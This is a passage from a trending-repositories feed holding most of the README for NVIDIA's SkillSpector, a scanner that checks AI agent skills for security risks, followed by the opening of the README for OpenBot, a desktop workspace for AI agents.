<code>SKILLSPECTOR_MODEL</code> is set. Defaults to <code>nv_build</code>.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_CLOUD_PROJECT</code></td> \n   <td>Google Cloud project ID for the <code>gemini</code> provider. Authenticates via Google Cloud Application Default Credentials (ADC) or GKE Workload Identity.</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=gemini</code></td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_CLOUD_LOCATION</code></td> \n   <td>Google Cloud location for the <code>gemini</code> provider endpoint (e.g. <code>global</code>, <code>us</code>, <code>eu</code>, <code>us-central1</code>). Defaults to <code>global</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=gemini</code>)</td> \n  </tr> \n  <tr> \n   <td><code>GOOGLE_APPLICATION_CREDENTIALS</code></td> \n   <td>Optional path to ADC credential/config file (e.g. Workload or Workforce Identity Federation config; exported service account keys are discouraged). For local development, use <code>gcloud auth application-default login</code>; for GKE, use Workload Identity.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=gemini</code>)</td> \n  </tr> \n  <tr> \n   <td><code>NVIDIA_INFERENCE_KEY</code></td> \n   <td>Credential for the <code>nv_build</code> provider (<a href=\"http://build.nvidia.com\">build.nvidia.com</a>).</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=nv_build</code></td> \n  </tr> \n  <tr> \n   <td><code>OPENAI_API_KEY</code></td> \n   <td>Credential for the OpenAI provider (<code>SKILLSPECTOR_PROVIDER=openai</code>). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials; the fallback then uses the <code>openai</code> default model (<code>gpt-5.4</code>) for any slot without a model override. Claude Opus or Sonnet 5.5 gateway IDs are not supported through the fallback, because it keeps the active provider's structured-output method; select <code>SKILLSPECTOR_PROVIDER=openai</code> for them.</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=openai</code></td> \n  </tr> \n  <tr> \n   <td><code>OPENAI_BASE_URL</code></td> \n   <td>Override the OpenAI endpoint (e.g. point at Ollama).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_REASONING_EFFORT</code></td> \n   <td>Optional provider- and model-dependent reasoning-effort setting. Non-empty values are trimmed and passed through unchanged. When unset or blank, SkillSpector sends <code>high</code> for <code>nv_build</code> with <code>z-ai/glm-5.3</code>; other provider/model combinations keep their endpoint defaults. The value applies to every model slot, so the <code>anthropic</code> <code>meta_analyzer</code> default receives the same effort as the analyzers. <code>gpt-6.1-sol</code> accepts only <code>low</code>, <code>medium</code>, <code>high</code>, <code>xhigh</code>, or <code>max</code>; any other value stops a scan before analysis (exit code 2).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_OUTPUT_LANGUAGE</code></td> \n   <td>Short, single-line language label (letters, numbers, spaces, <code>_</code>, or <code>-</code>; maximum 64 characters) for human-readable LLM finding text such as messages, explanations, and remediation. Rule IDs, severity values, paths, code, and other machine-readable values remain unchanged. Unset, blank, or invalid values preserve the default output language.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_TEMPERATURE</code></td> \n   <td>Optional sampling temperature from <code>0</code> to <code>1</code> for hosted providers. Unset or blank preserves the provider default. Lower values can reduce run-to-run variation but do not guarantee identical output. <code>gpt-6.1-sol</code> rejects every explicit temperature, including <code>1</code>. <code>claude-opus-5-5</code> and <code>claude-sonnet-5-5</code> accept only <code>1.0</code> on the native Anthropic endpoint (<a href=\"https://platform.claude.com/docs/en/api/messages/create\">API compatibility rule</a>); gateways, proxies, and Bedrock still reject every explicit value for these models. Unsupported settings on active LLM slots stop a scan before analysis (exit code 2). Static scans (<code>--no-llm</code>) skip provider initialization and control validation. A Bedrock application-inference-profile ARN hides the model name, so declare <code>sampling: rejected</code> for it in the model registry.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_SEED</code></td> \n   <td>Optional integer sampling seed for OpenAI-compatible and Azure OpenAI providers. Other hosted providers and CLI providers do not receive it. Provider support remains model-dependent; <code>gpt-6.1-sol</code> receives it, but OpenAI treats <code>seed</code> as best-effort, so output can still differ between runs.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPACT_PROMPTS</code></td> \n   <td>Opt-in compact line numbering in LLM prompts: numbered lines render as <code>L1:</code>, <code>L2:</code> instead of zero-padded <code>L01:</code>, <code>L02:</code>. Accepted truthy values are <code>1</code>, <code>true</code>, and <code>yes</code> (case-insensitive; surrounding whitespace is trimmed). Unset or any other value keeps the default zero-padded format.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_API_KEY</code></td> \n   <td>Credential for the Anthropic provider (<code>SKILLSPECTOR_PROVIDER=anthropic</code>).</td> \n   <td>Required for LLM analysis when <code>SKILLSPECTOR_PROVIDER=anthropic</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_BASE_URL</code></td> \n   <td>Override the native Anthropic endpoint (default: <code>https://api.anthropic.com</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_AUTH_SCHEME</code></td> \n   <td>Set to <code>bearer</code> to send <code>ANTHROPIC_API_KEY</code> as <code>Authorization: Bearer</code> instead of <code>x-api-key</code>, for gateways exposing the Messages API.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_ENDPOINT_URL</code></td> \n   <td>Full endpoint URL for the Anthropic proxy provider (Vertex-style raw-predict).</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=anthropic_proxy</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_API_KEY</code></td> \n   <td>Bearer token for the Anthropic proxy provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=anthropic_proxy</code></td> \n  </tr> \n  <tr> \n   <td><code>ANTHROPIC_PROXY_API_VERSION</code></td> \n   <td><code>anthropic_version</code> value sent in the request body (default: <code>vertex-2023-10-16</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>AWS_PROFILE</code></td> \n   <td>Named AWS profile for the Bedrock provider \u2014 authenticates via SigV4 through boto3. When unset, the standard boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=bedrock</code>)</td> \n  </tr> \n  <tr> \n   <td><code>AWS_REGION</code></td> \n   <td>AWS region for the Bedrock Runtime endpoint. Defaults to <code>us-west-2</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=bedrock</code>)</td> \n  </tr> \n  <tr> \n   <td><code>OLLAMA_BASE_URL</code></td> \n   <td>Ollama OpenAI-compatible endpoint. Defaults to <code>http://localhost:11434/v1</code>.</td> \n   <td>Optional (used when <code>SKILLSPECTOR_PROVIDER=ollama</code>)</td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_API_KEY</code></td> \n   <td>API key for the Azure OpenAI provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=azure_openai</code></td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_ENDPOINT</code></td> \n   <td>Azure resource endpoint for the Azure OpenAI provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=azure_openai</code></td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_DEPLOYMENT</code></td> \n   <td>Azure deployment name. Defaults to the selected model label.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>AZURE_OPENAI_API_VERSION</code></td> \n   <td>Azure OpenAI API version. Defaults to <code>2024-06-01</code>.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPAT_API_KEY</code></td> \n   <td>API key for a generic OpenAI-compatible provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=openai_compatible</code></td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_COMPAT_BASE_URL</code></td> \n   <td>Base URL for a generic OpenAI-compatible provider.</td> \n   <td>Required when <code>SKILLSPECTOR_PROVIDER=openai_compatible</code></td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL</code></td> \n   <td>Override the active provider model. For hosted providers, this replaces the bundled default from the LLM Analysis table. For CLI providers, this is forwarded as <code>--model</code> instead of using the local runtime fallback.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL_&lt;SLOT&gt;</code></td> \n   <td>Override the model for one analyzer slot (for example <code>SKILLSPECTOR_MODEL_META_ANALYZER</code>). It takes precedence over <code>SKILLSPECTOR_MODEL</code>, which in turn replaces provider slot defaults such as the <code>anthropic</code> <code>meta_analyzer</code> default. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/INFERENCE_USAGE.md#model-provenance\">model provenance</a> for the full precedence.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MODEL_REGISTRY</code></td> \n   <td>Override the bundled per-provider YAML registry (<code>src/skillspector/providers/&lt;provider&gt;/model_registry.yaml</code>) with a custom path.</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_LOG_LEVEL</code></td> \n   <td>Log level: <code>DEBUG</code>, <code>INFO</code>, <code>WARNING</code>, <code>ERROR</code> (default: <code>WARNING</code>).</td> \n   <td>Optional</td> \n  </tr> \n  <tr> \n   <td><code>SKILLSPECTOR_MAX_DEPENDENCY_SOURCE_ANALYSIS_SECONDS</code></td> \n   <td>Ceiling for the dependency-source analysis pass, in seconds. Defaults to <code>5.0</code>, which is the historical value. Raise it on slow or heavily loaded machines so the same unchanged tree does not come back partially inspected, which would set <code>safe_to_install</code> to false and record <code>runtime_limit</code>. The remaining aggregate workflow time (<code>SKILLSPECTOR_MAX_WORKFLOW_SECONDS</code>, 600 seconds by default) still caps the effective value; values above that remaining time have no effect. Invalid, zero, negative, infinite, and NaN values keep the 5-second default. The setting is resolved when the module is imported, so a new process is required after changing it. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md#configuring-the-dependency-source-deadline\">analysis resource bounds</a>.</td> \n   <td>Optional</td> \n  </tr> \n </tbody> \n</table> \n<blockquote> \n <p><strong>Disabled provider:</strong> <code>codex_cli</code> remains registered but cannot run LLM analysis because its read-only sandbox allows host-file reads. Existing users should select an HTTP API provider or another supported CLI provider.</p> \n</blockquote> \n<blockquote> \n <p><strong>CLI providers</strong> (<code>claude_cli</code>, <code>gemini_cli</code>, <code>opencode_cli</code>): No API key is needed. Authentication is managed entirely by the agent CLI's own login session. SkillSpector never reads or forwards API keys when these providers are active. The subprocess is run with capabilities restricted, and untrusted skill content is delivered only via stdin.</p> \n <p><code>opencode_cli</code> currently fails closed unless the installed OpenCode version is exactly <code>1.18.33</code>, the version whose configuration precedence and deny-all semantics are verified by this release.</p> \n</blockquote> \n<h3>CLI Options</h3> \n<pre><code class=\"language-bash\">skillspector scan --help\n\nOptions:\n  -f, --format [terminal|json|markdown|sarif]  Output format [default: terminal]\n  -o, --output PATH                            Output file path\n  --no-llm                                     Skip LLM analysis (static only)\n  --yara-rules-dir PATH                        Extra YARA rules directory\n  -b, --baseline PATH                          Suppress findings listed in a baseline\n  --show-suppressed                            List baseline-suppressed findings\n  -V, --verbose                                Show detailed progress\n  --help                                       Show this message and exit\n\n# Generate a baseline of all current findings (see docs/SUPPRESSION.md)\nskillspector baseline &lt;path&gt; [-o FILE] [--no-llm] [--reason TEXT]\n</code></pre> \n<p>Report files and new baselines use private permissions (0600). Existing baselines retain their access metadata when safely replaced; updates requiring in-place writes are refused. All file output uses atomic replacement. The parent directory must be writable; symlinked parents and non-regular destinations such as devices are refused. On macOS, ancestor directories must also be readable. File output requires POSIX no-follow directory operations and is unavailable on Windows. Unsupported file output fails before analysis. Omit <code>--output</code> for scan/batch stdout, or use <code>skillspector baseline &lt;path&gt; -o -</code> for JSON on stdout, then redirect only to a trusted destination. Run Docker with your user ID as above so you can read its files.</p> \n<h2>Integrating SkillSpector</h2> \n<p>SkillSpector is built to be driven by other tools (CI pipelines, install gates, editor integrations). Its exit code and JSON output are a stable contract.</p> \n<h3>Exit codes</h3> \n<p><code>skillspector scan</code> exits with:</p> \n<table> \n <thead> \n  <tr> \n   <th>Code</th> \n   <th>Meaning</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>0</code></td> \n   <td>Scan completed, <code>risk_score</code> \u2264 50 (recommendation <code>SAFE</code> or <code>CAUTION</code>), and no enabled strict gate fired</td> \n  </tr> \n  <tr> \n   <td><code>1</code></td> \n   <td>Scan completed and either <code>risk_score</code> &gt; 50, <code>--fail-on-findings</code> found an active finding, <code>--fail-on-incomplete</code> found partial/incomplete analysis, or <code>--min-coverage</code> found coverage below its threshold</td> \n  </tr> \n  <tr> \n   <td><code>2</code></td> \n   <td>Error (bad input, unreadable source, internal failure)</td> \n  </tr> \n </tbody> \n</table> \n<blockquote> \n <p>By default, the exit code collapses <code>SAFE</code> and <code>CAUTION</code> into <code>0</code>. Use <code>--fail-on-findings</code> to gate on any active finding, <code>--fail-on-incomplete</code> to gate on incomplete coverage, <code>--min-coverage PERCENT</code> to gate on a coverage floor, or read the JSON <code>recommendation</code> field for custom policy.</p> \n</blockquote> \n<h3>Machine-readable output</h3> \n<p><code>--format json</code> produces a JSON report; with no <code>--output</code>/<code>-o</code> it is written to stdout:</p> \n<pre><code class=\"language-bash\">skillspector scan ./my-skill/ --format json\n</code></pre> \n<p>The top-level shape is (this example shows a full LLM-backed scan; with <code>--no-llm</code>, <code>metadata.llm_requested</code> is <code>false</code>):</p> \n<pre><code class=\"language-json\">{\n  \"skill\": { \"name\": \"...\", \"source\": \"...\", \"scanned_at\": \"&lt;ISO 8601&gt;\" },\n  \"risk_assessment\": { \"score\": 0, \"severity\": \"LOW\", \"recommendation\": \"SAFE\" },\n  \"components\": [ { \"path\": \"...\", \"type\": \"...\", \"lines\": 0, \"executable\": false, \"size_bytes\": 0 } ],\n  \"issues\": [ { \"id\": \"...\", \"category\": \"...\", \"severity\": \"...\", \"confidence\": 0.0, \"location\": { \"file\": \"...\", \"start_line\": 0 } } ],\n  \"metadata\": {\n    \"has_executable_scripts\": false,\n    \"skillspector_version\": \"...\",\n    \"llm_requested\": true,\n    \"llm_available\": true,\n    \"inference_usage\": [\n      {\n        \"node\": \"semantic_security_discovery\",\n        \"request_kind\": \"structured_output\",\n        \"provider\": \"nv_inference\",\n        \"model\": \"azure/anthropic/claude-opus-4-6\",\n        \"model_source\": \"provider_response\",\n        \"usage_source\": \"provider_response\",\n        \"prompt_tokens\": 1000,\n        \"completion_tokens\": 100,\n        \"cached_tokens\": 400,\n        \"cache_write_tokens\": 50,\n        \"total_tokens\": 1100\n      }\n    ]\n  }\n}\n</code></pre> \n<ul> \n <li><code>risk_assessment.severity</code> \u2208 <code>LOW | MEDIUM | HIGH | CRITICAL</code>.</li> \n <li><code>risk_assessment.recommendation</code> \u2208 <code>SAFE | CAUTION | DO_NOT_INSTALL</code>, mapped from severity: <code>LOW \u2192 SAFE</code>, <code>MEDIUM \u2192 CAUTION</code>, <code>HIGH</code>/<code>CRITICAL \u2192 DO_NOT_INSTALL</code>.</li> \n <li><code>metadata.llm_error</code> appears only when LLM analysis was requested but unavailable.</li> \n <li>Archive-member components retain their virtual <code>path</code> and include <code>outer_path</code>, <code>nested_path</code>, and container provenance. Virtual paths identify in-memory members, not on-disk files; see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/NESTED_ARTIFACT_INSPECTION.md#json-component-locations\">JSON component locations</a>.</li> \n <li>AE1 findings use <strong>Incomplete referenced artifact analysis</strong>. Their source location identifies the reference; <code>evidence</code> identifies the affected target, analyzer reasons, and available bounds. Review the target's completeness ledger when <code>reasons_truncated</code> is true. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md#diagnosing-incomplete-referenced-artifacts\">referenced-artifact diagnostics and Perl help text</a> for interpretation and corrective actions.</li> \n <li><code>metadata.inference_usage</code> contains one sanitized record per LLM response when the provider exposes token counters. It is an empty list when usage is unavailable; SkillSpector never estimates missing tokens. Prompt totals are inclusive of cache reads and writes so downstream pricing can separate those partitions safely. <code>model_source</code> distinguishes an independently identified provider model from the exact requested model used when response identity is absent or ambiguous. SkillSpector does not currently send Anthropic prompt-cache controls, so its scan requests cannot select the separate 5-minute or 1-hour cache-write tiers; TTL-specific response fields are normalized defensively into the aggregate cache-write counter.</li> \n <li>See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/INFERENCE_USAGE.md\">Inference usage telemetry</a> for the complete provenance, cache-accounting, privacy, fail-closed ingestion, and downstream pricing contract.</li> \n <li>The full per-issue shape is defined by <code>Finding.to_dict()</code> in <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/src/skillspector/models.py\">models.py</a>; rely on the fields above and treat any additional fields as best-effort.</li> \n</ul> \n<p>For CI/IDE tooling, <code>--format sarif</code> emits SARIF 2.1.0. Each result carries its security severity; rule descriptors carry a score only when all of their results share that severity. Mixed-severity rules remain unannotated, so consumers that read only rule-level severity cannot distinguish their result severities. Recursive scans chain each percent-encoded skill-directory URI through an absolute scan-root file URI. External dependency locations retain their source provenance instead of being rebased into the local skill directory.</p> \n<h3>Recommended gate mapping</h3> \n<p>When using SkillSpector as an install gate, map the recommendation to an action:</p> \n<table> \n <thead> \n  <tr> \n   <th><code>recommendation</code></th> \n   <th>Suggested action</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SAFE</code></td> \n   <td>allow</td> \n  </tr> \n  <tr> \n   <td><code>CAUTION</code></td> \n   <td>prompt / warn the user</td> \n  </tr> \n  <tr> \n   <td><code>DO_NOT_INSTALL</code></td> \n   <td>block</td> \n  </tr> \n </tbody> \n</table> \n<p>SkillSpector computes the score band and recommendation; how strict the gate is (e.g. whether <code>CAUTION</code> blocks in CI) is a policy decision for the integrating tool.</p> \n<h2>Development</h2> \n<h3>Setup</h3> \n<p>All <code>make</code> targets assume a virtual environment is already created and activated. The Makefile uses <strong>uv</strong> if available, else <strong>pip</strong>.</p> \n<pre><code class=\"language-bash\"># Clone, create venv, activate, install dev dependencies\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\nuv venv .venv &amp;&amp; source .venv/bin/activate\n# or: python3 -m venv .venv &amp;&amp; source .venv/bin/activate\nmake install-dev\n\n# Run tests\nmake test\n\n# Run tests with coverage\nmake test-cov\n\n# Run linting\nmake lint\n\n# Format code\nmake format\n</code></pre> \n<h2>How It Works</h2> \n<p>SkillSpector uses a two-stage detection pipeline:</p> \n<h3>Stage 1: Static Analysis</h3> \n<ul> \n <li>Fast regex-based pattern matching across 11 static analyzers</li> \n <li>AST-based behavioral analysis detecting dangerous calls (exec, eval, subprocess, etc.)</li> \n <li>Live vulnerability lookups via OSV.dev for known CVEs in dependencies</li> \n <li>Scans all analyzer-eligible files in the skill</li> \n <li>High recall (catches most issues)</li> \n <li>Moderate precision (some false positives)</li> \n</ul> \n<p>OpenSSF Model Signing / DSSE bundles remain in content analysis, regardless of filename. Static and LLM analyzers inspect decoded JSON payloads, readable DER certificate/signature content, and all unknown wrapper fields. Strictly parsed binary fields are projected rather than treated as executable base64; canonical bytes remain available to YARA and fingerprints. Unsupported encodings (including environments without the optional <code>cryptography</code> dependency) retain raw fields and produce an explicit incomplete-analysis warning. Findings in decoded content point to the original bundle and label their projection in evidence. None of this verifies signatures, certificate chains, transparency logs, or signer identity.</p> \n<h3>Stage 2: LLM Semantic Analysis (Optional)</h3> \n<ul> \n <li>Evaluates context and intent</li> \n <li>Confirmed findings may gain an explanation and higher confidence, never lower</li> \n <li>Every deterministic finding stays in the report whether the model confirms it, disputes it, or does not address it</li> \n <li>Findings the model reviews but does not confirm (disputed, low-confidence, or unaddressed) are tagged <code>llm-unconfirmed</code> in JSON and SARIF output</li> \n <li>Findings whose review fails are kept without that tag; <code>evidence.llm_review_outcome</code> distinguishes <code>confirmed</code>, <code>disagreed</code>, <code>low-confidence</code>, <code>missing</code>, and <code>failed</code> in JSON and SARIF output</li> \n <li>Results depend on the configured model and prompt context; Stage 2 does not replace deterministic findings or guarantee a particular precision rate</li> \n</ul> \n<p>The LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.</p> \n<h2>Live Vulnerability Lookups (SC4)</h2> \n<p>SC4 uses the <a href=\"https://osv.dev\">OSV.dev</a> API to check dependencies against the full Open Source Vulnerabilities database \u2014 covering tens of thousands of advisories across PyPI and npm.</p> \n<ul> \n <li><strong>No API key required</strong> \u2014 OSV.dev is free and unauthenticated.</li> \n <li><strong>Batch queries</strong> \u2014 all dependencies are checked in a single HTTP call.</li> \n <li><strong>Automatic fallback</strong> \u2014 if OSV.dev is unreachable (air-gapped/offline), a small built-in fallback list is used.</li> \n <li><strong>Caching</strong> \u2014 results are cached in-memory for 1 hour to avoid redundant API calls during a session.</li> \n</ul> \n<p>The tool requires outbound HTTPS access to <code>api.osv.dev</code> for live vulnerability data. When that is not available, findings are limited to the static fallback list.</p> \n<h2>Trust model and data egress</h2> \n<p>SkillSpector is defense-in-depth, not a sandbox. Know what it does and does not do before relying on it:</p> \n<ul> \n <li><strong>It never executes the scanned skill.</strong> All analysis is static (regex, Python AST, YARA) plus optional LLM evaluation of file <em>contents</em> \u2014 the skill's code is never run.</li> \n <li><strong>LLM analysis sends analyzer-eligible file contents to the configured provider.</strong> When LLM analysis is enabled (the default), file contents are sent to the active <code>SKILLSPECTOR_PROVIDER</code> endpoint. DSSE payloads and readable signing metadata are included. Use <code>--no-llm</code> to keep contents local (static analysis only).</li> \n <li><strong>SC4 sends dependency names to OSV.dev.</strong> The supply-chain check queries <a href=\"https://osv.dev\">OSV.dev</a> with the package names and versions the skill declares, to look up known CVEs. This is fundamental to the check and runs even with <code>--no-llm</code>. It sends dependency coordinates (not file contents), requires no API key, and falls back to a bundled list when OSV.dev is unreachable.</li> \n <li><strong>It does not sandbox the host.</strong> SkillSpector flags risky patterns <em>before</em> you install a skill; it does not contain or isolate a skill you choose to install anyway.</li> \n</ul> \n<h2>Limitations</h2> \n<ul> \n <li><strong>Non-English content</strong>: May miss patterns in other languages</li> \n <li><strong>Image-based attacks</strong>: Cannot analyze text in images</li> \n <li><strong>Encrypted/binary code</strong>: Cannot analyze compiled or encrypted content</li> \n <li><strong>Runtime behavior</strong>: Static analysis only, no dynamic execution</li> \n <li><strong>Offline SC4</strong>: Without network access to <code>api.osv.dev</code>, SC4 uses a small static fallback list</li> \n</ul> \n<h2>Research Background</h2> \n<p>Based on research from \"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale\" (Liu et al., 2026):</p> \n<ul> \n <li><strong>Dataset</strong>: 42,447 skills from major marketplaces; 31,132 were analyzed for the following rates</li> \n <li><strong>Vulnerable</strong>: 26.1% of the analyzed subset contain at least one vulnerability</li> \n <li><strong>High-severity</strong>: 5.2% of the analyzed subset show likely malicious intent</li> \n <li><strong>Key finding</strong>: Skills with executable scripts are 2.12x more likely to be vulnerable</li> \n</ul> \n<h2>Python API Integration</h2> \n<pre><code class=\"language-python\">from skillspector import graph\n\n# Invoke the LangGraph workflow\nresult = graph.invoke({\n    \"input_path\": \"/path/to/skill\",\n    \"output_format\": \"json\",   # terminal, json, markdown, or sarif\n    \"use_llm\": True,           # False for static-only analysis\n})\n\n# Access results\nprint(f\"Risk Score: {result['risk_score']}/100\")\nprint(f\"Severity: {result['risk_severity']}\")\nprint(f\"Recommendation: {result['risk_recommendation']}\")\n\nfor finding in result[\"filtered_findings\"]:\n    print(f\"[{finding['severity']}] {finding['rule_id']}: {finding['message']}\")\n</code></pre> \n<h2>License</h2> \n<p>Apache License 2.0 - see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/LICENSE\">LICENSE</a> for details.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome! Please read our contributing guidelines and submit pull requests.</p> \n<h2>Support</h2> \n<ul> \n <li><strong>Issues</strong>: <a href=\"https://github.com/NVIDIA/skillspector/issues\">GitHub Issues</a></li> \n</ul>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/nightly-labs/openbot", "url": "https://github.com/nightly-labs/openbot", "external_url": null, "title": "nightly-labs/openbot", "content_text": "", "content_html": "<p>A local-first desktop workspace for persistent AI teammates. Run Codex, Claude, and Grok with dedicated workspaces, task queues, file sharing, browser control, and agent-to-agent collaboration.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://openbot.run/\">https://openbot.run/</a></p><hr /><h1>OpenBot</h1> \n<p><a href=\"https://github.com/nightly-labs/openbot/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/nightly-labs/openbot/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/license-PolyForm_Noncommercial_1.0.0-blue.svg?sanitize=true\" /></a></p> \n<p>OpenBot is a local-first desktop workspace for persistent AI teammates. It supports the local <a href=\"https://learn.chatgpt.com/docs/app-server\">Codex App Server</a> and <a href=\"https://code.claude.com/docs/en/overview\">Claude Code</a>, plus <a href=\"https://docs.x.ai/build/overview\">Grok CLI</a>, OpenCode, Gemini, <a href=\"https://cursor.com/cli\">Cursor CLI</a>, and <a href=\"https://cline.bot/cli\">Cline CLI</a> through ACP. It gives every agent its own workspace and conversation, and provides local queues, file transfers, an embedded browser, and agent-to-agent messaging in one desktop app.</p> \n<div class=\"markdown-alert markdown-alert-warning\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-alert mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Warning</p>\n <p>OpenBot is a development preview. Agents currently run with <code>danger-full-access</code> and <code>approvalPolicy: never</code>. They can read and modify files, run commands, use the network, and control the embedded browser without per-action confirmations after the explicit first-launch consent. Run only agents and tasks you trust, keep backups, and review <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/#security\">Security</a> before use.</p> \n</div> \n<h2>What works</h2> \n<ul> \n <li>Prompt-driven agent creation and editing on desktop and mobile, with editable instructions, avatar, and section review before saving.</li> \n <li>Persistent agents backed by independent Codex, Claude, Grok, OpenCode, Gemini, Cursor, or Cline sessions and local workspaces.</li> \n <li>Custom OpenAI-compatible endpoints and custom ACP agents, with detection of local model servers (Ollama, LM Studio) and installed agents.</li> \n <li>Per-agent context monitoring with automatic compaction before long threads exhaust the model window.</li> \n <li>FIFO message queues with pause, resume, cancellation, and crash-safe persistence.</li> \n <li>Agent-to-agent messages, replies, reactions, images, and managed file transfers.</li> \n <li>Shared desktop channel chats with one task owner, explicit delegation, shared history, and Stop, Resume, Reassign, Archive, and Restore controls.</li> \n <li>A persistent embedded browser that agents can open, inspect, and control.</li> \n <li>Optional Computer Use on macOS, Windows and Linux through the <code>cua-driver</code> binary in the release, which OpenBot starts as its own child process and gives to every provider.</li> \n <li>Per-agent model, reasoning, profile, notification, browser, and panel state.</li> \n <li>Local data and privacy-safe diagnostics exports from the account menu.</li> \n <li>Optional OpenBot accounts through one-time email codes. The account API runs on Cloudflare Workers and D1.</li> \n</ul> \n<p>OpenBot is local-first, not offline-only. Codex connects to OpenAI, Claude connects to Anthropic, Grok connects to xAI, Gemini connects to Google, Cursor connects to Cursor, Cline connects to Cline, visited pages use the network, and installed plugins may connect to their own services.</p> \n<h2>Install</h2> \n<p>OpenBot supports macOS 13 or newer on Apple silicon or Intel, Windows 10 or newer on x64 systems, and x64 or arm64 Linux as an AppImage.</p> \n<h3>macOS</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-arm64.dmg</code> (or <code>OpenBot-*-x64.dmg</code> on an Intel Mac) from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Drag OpenBot to Applications and open it.</li> \n</ol> \n<h3>Windows</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-x64.exe</code> from <a href=\"https://github.com/nightly-labs/openbot/releases\">GitHub Releases</a>.</li> \n <li>Run the installer and open OpenBot.</li> \n</ol> \n<h3>Linux</h3> \n<ol> \n <li>Download the latest <code>OpenBot-*-x86_64.AppImage</code> (or <code>OpenBot-*-arm64.AppImage</code> on 